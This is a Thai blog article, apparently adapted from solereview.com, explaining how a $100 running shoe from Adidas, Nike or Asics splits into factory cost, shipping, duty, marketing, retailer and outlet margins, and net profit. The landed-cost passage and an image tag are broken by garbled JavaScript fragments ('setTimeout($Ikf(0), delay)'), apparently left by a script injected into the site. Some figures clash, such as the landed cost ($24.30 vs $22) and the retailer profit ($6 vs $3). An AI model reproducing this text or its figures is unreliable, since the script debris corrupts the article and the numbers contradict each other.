รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

ถ้าจะบอกว่าต้นทุนในการประกอบรองเท้าขึ้นมาคู่หนึ่งอยู่ราวๆ 500-1500 บาท ผู้บริโภคอย่างเราจะเชื่อหรือไม่….บทความต่อไปนี้นำมาจากเวบไซด์www.solereview.comตีแผ่ต้นทุนการผลิตเเบบชำเเหละเข้าเนื้อเข้ากระดูกบริษัทยักษ์ใหญ่เเห่งวงการกีฬาอย่าง Adidas และ Nike กันเลย บอกได้เลยว่า…รองเท้าวิ่งวิ่งที่เราเห็นๆ กันอยู่จริงเเล้วมีราคาผลิตถูกกว่ามากราคาขายมากจนน่ากลัว เเต่ที่น่าสนใจไปกว่าราคาผลิต ราคาขายคือต้นทุนที่บวกเข้าไประหว่างการเดินทางเเต่ละขั้นตอนจนไปสู่หิ้งร้าน

เริ่มจาก Adidas ต้นทุนการผลิตอยู่ที่ $29-$76 หรือราวๆ 900-2000 บาท รุ่นที่เเพงที่สุดคือ Yeezy Bost ตั้งราคาขายอยู่ที่ $140 แต่ราคาทุนอยู่ที่ $76 มีส่วนต่างกันอยู่ที่ $64 ส่วนรองเท้ารุ่นอื่นๆ อย่าง Ultra Boost ขาย$140 ต้นทุน $43 ส่วนต่างอยู่ที่ $67

มาต่อกันที่รองเท้า Nike ราคาทุนอยู่ที่ $18-$34 คิดเป็นเงินไทยก็ประมาณ 600-1300 บาท รุ่นรองเท้าที่นิยมอย่าง Air max มีส่วนต่างถึง $157 และรุ่นใหม่อย่าง Free RN Flyknit ราคาตั้งขาย $130 เเต่ทุนอยู่ที่ $26 ได้ส่วนต่างถึง $104

ตบท้ายที่รองเท้า Asics มีส่วนต่างอยู่มากพอใช้ได้ครับ รุ่นพิมพ์นิยม Gel kayano22 ราคาขาย $160 ราคาทุนที่ $32 ได้ส่วนต่างๆไป $128 และรุ่น Gel Nimbus18 ได้ส่วนต่าง $117

นั่งบวกลบส่วนต่างกันดูหลายๆ รุ่นพบว่าเเต่ละบริษัทได้ราคาส่วนต่างเยอะพอควร อย่างนี้ธุรกิจรองเท้าก็มีเเต่กำไรใช่มั้ย…??? ตอบให้เลยว่าไม่เสมอไปครับ กำไรที่บริษัทได้ เเละร้านค้าได้นั้นเเยกกันครึ่งต่อครึ่งเลย ราคาทุนบางรุ่นอาจจะเป็น $20 และราคาตั้งขายหน้าร้านอาจจะ $100 แต่บริษัท Adidas Nike จะขายให้ร้านค้าที่ 50% ของราคาตั้งขาย นั้นคือ $50 เมื่อหักลบกับต้นทุน ($20) จะได้กำไร (gross margin)ที่ $30 กำไรนี้ยังไม่รวมการหักภาษี ค่าโฆษณา ค่าขนส่งและค่าเบ็ตเล็ดอื่นๆ…กำไรจะเหลือเท่าไหรเดียวหัวข้อถัดไปเราจะมาเรียนรู้ขั้นตอนการบวกราคาต้นทุน ไปจนถึงกำไรสุทธิ (Net Profit) กันครับ

เริ่มกระบวนการผลิต ขนส่ง จนถึงแผ่นดินอเมริกา

จากโรงงานผลิต สมมุติว่ามาจากแผ่นดินใหญ่เมืองจีน เเพ็คใส่กล่อง ขึ้นเรือ จ่ายค่าประกันสินค้า (ระหว่างเดินทาง) เดินทางมายังท่าเรืออเมริกา จ่ายภาษีเสร็จเรียบร้อย สินค้าจะถุกบัญชีตีตราว่าเป็น “Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anded cost” หรือ “cost of Sakes” หรือชาวไทยเรียกว่า “ต้นทุนของสินค้าที่ขายหรือบริการที่ให้”

กระบวนการซื้อขายสินค้าข้ามประเทศ (ผลิตต่างประเทศและนำเข้ามาขาย) จะนิยมซื้อกันในราคา FOB…หมายถึง เริ่มต้นการผลิตจากโรงงาน บรรจุ ขนส่ง เเละว่างบนกราบเรือ เป็นอันสินสุด ระหว่าการเดินทางมายังท่าเรืออเมริกาจนถึงหน้าร้าน เป็นความรับผิดชอบของบริษัท Adidas หรือ Nike

การใช้เอกสาร FOB จะสามารถเเกะรายละเอียดที่มาที่ไปสินค้าได้ระดับหนึ่งเลย เเต่ถ้าจะระบุให้ละเอียดต้องมีใบ BOM (Bill of Materials) จะสามารถระบุได้เลยว่าใช้วัสดุอะไร ผ้าที่ใช้ วัสดุพื้นรองเท้าทั้ง Insole และ outsole จะบอกได้หมด…เเต่คงไม่มีบริษัทไหนยอมเเสดงเเน่ๆ เดียวความลัดไหลออกหมด

มาต่อกันที่ค่า FOB ซึ่งปกติใช้กันทั่วไป เเต่ในกรณีนี้เพื่อความปลอดภัยไม่ประมาท บริษัทใหญ่ๆ ที่มีมาตรฐานจะทำประกันสินค้าเพิ่ม นั้นหมายถึง เวลาสินค้าลงกราบเรือเเล้ว ระหว่างล่องเรือมาจนถึงท่าเรืออเมริกา จะได้รับความคุ้มครองตลอดเวลา เพราะการเดินเรือใช้ว่าจะปลอดภัย จะต้องเจอพายุ เจอฝน ถ้าโกดังหล่นตกทะเล หรือไม่ก็เปียก เปื่อยและชำรุด จะได้มีคนช่วยรองรับค่าเสียหาย ดังนั้นค่า Cost(ค่าการผลิต)+Insurrance(ประกัน)+Freight(ขนส่ง) = CIF

ต่อมาก็มาถึงเวลาที่จะเอาสินค้าออก ก็จะต้องผ่านขั้นตอนศุลกากร การคิดภาษี เป็นขั้นตอนที่ขึ้นกับกฏเกณฑ์และดุลยพินิจของเจ้าหน้าที่ บวกเพิ่มเท่าไหรก็ต้องลุ้นกันเสมอ

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anded_cost_shoe-800×600.jpg” alt=”Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anded_cost_shoe” width=”800″ height=”600″ />ดูตามภาพ infographic รวมทุนราคารองเท้าทั้งสิ้น $24.30 และตอนนี้เราจะสามารถตามรอยราคาทุนสินค้าได้ดังนี้

1. ผลิตจากโรงงาน $20
2. ขนส่งทางเรือ $1
3. จ่ายค่าประกันสินค้า $0.30
4. ผ่านด่านภาษี $3

ไปสู่ร้านค้าปลีก

เมื่อจะขายให้ร้านค้าย่อย ร้านขายปลีกต่างๆ ตามข้อตกลงแล้ว จะขายให้ในราคา 50% ของราคาตั้งขายหน้าร้าน ถ้าราคาขายหน้าร้านอยู่ที่ $100 ร้านค้าปลีก ร้านย่อยๆ ตามพื้นที่ต่างๆ จะต้องซื้อรองเท้าจากบริษัท Adidas หรือ Nike ที่ $50

รายได้ $50 เรียกว่า Net sales หรือ Revenue เเปลเป็นไทยว่า ยอดขายสุทธิ หรือรายได้

ตาม infographic อีกครั้ง นำเจ้า Net sales หรือ Revenue มาลบกับทุนผลิตที่ $22 บริษัทจะมี Gross Margin คือผลต่างของรายได้หักต้นทุน ที่ $50-$22 = $28…เเละยังไม่ถือว่าเป็นกำไรสุทธิทีนะครับ

กว่าจะได้กำไรสุทธิ ต้องผ่านอีกหลายด่าน เจ้า Gross Margin หรือผลต่างของรายได้หักต้นทุน จะถูกนำไปใช้จ่ายเป็นค่าต่างๆ อย่างเช่น ค่าโฆษณาสินค้า ค่าจ้างพนักงาน ค่าการตลาด ค่าขนส่งกระจายสินค้า เป็นต้น…อย่าลืมภาษีด้วยนะ จนเหลือกลายเป็นกำไรสุทธิหรือ Net income

ว่ากันว่า Adidas ลงทุนไปกับค่าโฆษณา ค่า marketing ถึง 26% (คิดจาก net sales) ขณะที่ Nike จ่ายไป 22% และเพิ่มขึ้นทุกปี

นำต้นทุนมาประกอบ

เมื่อเราเเกะค่าต้นทุนต่างๆ จนมาถึงมือผู้บริโภค จะสามารถเเสดงได้ดังนี้

Adidas ในราคา $100 จะได้กำไรเเค่ $2 ค่าอื่นๆ สามรถเเบ่งได้เป็น

1. ค่าผลิตสินค้า $21
2. ค่าขนส่งจากโรงงาน ค่าประกัน ภาษีก่อนถึงร้านค้าปลีก $5
3. ค่าการตลาด $8
4. ค่าใช้จ่ายต่างๆ อีก $13
5. ค่า ภาษีเงินได้ $1
6. ค่ามาร์จินให้ร้านค้าปลีก $50
7. กำไรสุทธิเหลือ $2

Nike ในราคา $100 จะได้กำไรเเค่ $5 ค่าอื่นๆ สามรถเเบ่งได้เป็น

1. ค่าผลิตสินค้า $22
2. ค่าขนส่งจากโรงงาน ค่าประกัน ภาษีก่อนถึงร้านค้าปลีก $5
3. ค่าการตลาด $5
4. ค่าใช้จ่ายต่างๆ อีก $11
5. ค่า ภาษีเงินได้ $2
6. ค่ามาร์จินให้ร้านค้าปลีก $50
7. กำไรสุทธิเหลือ $5

เมื่อดูจากมุมมองผู้ผลิตเเล้ว ดูเหมือนว่ารองเท้าคู่ละ $100 ได้กำไร $2-$5 ดูจะไม่คุ้มกับที่ทำมาเลย…งั้นเเสดงว่ากำไรทุกอย่างไปอยู่ที่ร้านค้าปลีกย่อยต่างๆ ใช้หรือไม่ เพราะจ่ายไปถึง $50

ร้านค้าปลีกรวยอยู่คนเดียว?

อย่าคิดว่าร้านค้าปลีกซื้อรองเท้าในราคา $50 เเล้วขาย $100 กำไรสุทธิจะกับ $100 เลยนะครับ

ร้านค้าจำเป้นต้องมีารจัดการสต็อกสินค้า ค่าจัดจ้างเเรงงาน ค่าโปรโมตสินค้า การให้ส่วนลด ค่าเบ็ตเตล็ดอื่นๆ ไม่เเพ้ผู้ผลิตเช่นกัน

ตามรูป Infographic (ข้อมูลจากบริษัท Footlocker) เราพบว่ากำไรสุทธิที่ได้เท่ากับ $6 ซึ่งหากเเบ่งทุนออกมาจากรองเท้าราคา $100 จะได้เป็น

1. ค่าซื้อรองเท้าจากผู้ผลิต = ต้นทุนสินค้าของร้านค้าปลีก $50
2. ค่าใช้จ่ายในการดำเนินการต่างๆ $17
3. ค่าภาษีเงินได้ $3
4. กำไรสุทธิ $3
5. ค่าโปรโมต การลดราคา (discount) กลยุทธ์ดึงลูกค้าต่างๆ $24

ดูๆ ไปกำไรก็ไม่ได้เเตกต่างกับบริษัทผู้ผลิตสักเท่าไหร กำไรนิดเดียวเเบบไม่น่าทำเลย เเต่ถามว่าถ้าบริษัท Adidas และ Nike ไม่ส่งสินค้าให้ร้านปลีกย่อยละ ออกมาตั้งหน้าร้านเอง ผลิตเอง ขายเองจะได้กำไรมากกว่าหรือไม่…ตอบว่า ต้องลงทุนหนักเลยครับ ไม่จะต้องจัดหาคนงานเพิ่ม เช่าซื้อหน้าร้าน จัดการคลังสินค้า ต้องเลียร์สินค้าออก ล้วนต้องใช้ทุนเเละรับความเสี่ยงเพิ่มขึ้น มาร์จิ้นอาจจะเพิ่มขึ้นมาไม่กี่เปอร์เซนต์ก็ได้ ไม่คุ้มทำเช่นกัน

ในส่วนการทำ Online store ก็ดี ตัดทุนไปได้เยอะ เเต่มันเป็นเพียงเสี้ยวเล็กๆ เมื่อเทียบการการขายให้ดีลเลอร์เจ้าอื่นๆ

ทำไมร้าน Outlet จึงขายได้ถูกกว่าร้านค้าปลีก เอากำไรมาจากไหน

ร้าน Outlet ยังซื้อจากผู้ผลิตราคาเหมือนเดิมครับ เเต่เขามีข้อได้เปรียบทางโมเดลธุรกิจ คือ ค่าใช้จ่าย (expense)น้อยกว่า

1. พื้นที่เช่าทำหน้าร้านราคาถูกกว่ามาก สังเกตว่าจะอยู่ในเขตนอกเมือง ไกลจากเเหล่งธุรกิจในเมือง
2. ไม่เน้นคนงาน หน่วย operation ในร้านจะน้อยมาก มีไม่กี่คนเอง ไม่เน้นบริการ
3. เน้นสินค้า ไม่เน้นการจัดตกเเต่งร้าน มีชั้นว่าของ โชว์รุ่นสินค้าก็พอเเล้ว

เรามาดูเปรียบเทียบกันว่าร้านขายปลีกและ outlet มีข้อได้ปรียบเสียเปรียบอะไรบ้าง

ตามรูป…ร้าน Outlet จะซื้อสินค้ามาในต้นทุนที่มากกว่าจึงทำมาร์จิ้นได้น้อยกว่า เเต่ในเรื่องค่าใช้จ่ายในการดำเนินการ (expense) จะต่ำกว่า หักลบกลบไปมาพบว่าทั้งร้านค้าปลีกเเละ outlet เเทบจะได้กำไรไม่ต่างกันเลย

เราผู้บริโภคเองก็คงสังเกตได้ว่าเวลาไปร้านค้า Outlet ราคาก็ไม่ได้เเตกต่างกับร้านทั่วไปนัก ลดนิดลดหน่อยเเต่เวลาซื้อทีมาเป็นกองเลย หมดตัวกันตามๆ ไป…กลยุทธ์ของร้าน Outlet จะเน้นบริมาณ เเละทุนค่าดำเนินการน้อย

ค่า Celebrity Endosemet คิดเป็นเท่าไหร

ในรองเท้า $100 จะคิดเป็นค่า Celebrity Endosement พวกดารา นักกีฬา อยู่ที่ $1.5 ไม่มากเลย เเค่ 1.5%

เเต่ถ้าดูจากงบประมาณค่าการตลาดที่ลงไป Nike จ่ายไปปีที่เเล้ว $3.2 พันล้านเหรียญจะดูว่าใหญ่มาก…จริงๆ เเค่ $1.5

ข้อมูลของเวบไซด์www.solereview.comที่ได้มานั้น เป็นข้อมูลที่เปิดเผยได้ หรือกล่าวคือ บริษัท Adidas และ Nike เป็นบริษัทมหาชน อยู่ในตลาดหลักทรัพย์ จำเป็นต้องสำเเดง ผลการดำเนินงาน, งบกำไรขาดทุนเบื้องต้น (Income Statement), งบแสดงฐานะการเงิน (Balance Sheet) และข้อมูลอื่นๆ ให้ถูกต้องตามหลักเกณฑ์ อย่างเช่น เเหล่งผลิต เเรงงานที่ใช้ สวัสดิการ เหล่า Mission และ Visiom และขั้นตอนการดำเนินการต่างๆ เป็นต้น ทำให้เวบไซด์www.solereview.com สามารถสืบ ชำเเหละราคาผลิตสินค้า หาเเหล่งที่มา (โรงงานผลิต) ได้ละเอียด….เเต่ๆ ที่เรารู้กันดีว่าบริษัทก็มีคงมีความลับทางธุรกิจที่สามารถปกปิด ปรับเเต่งได้เช่นกัน เอาเป็นว่าดูไว้เป้นไกด์ไลน์ว่าราคาทุนมันผ่านกระบวนการอย่างไรจนมาถือมือเราละกัน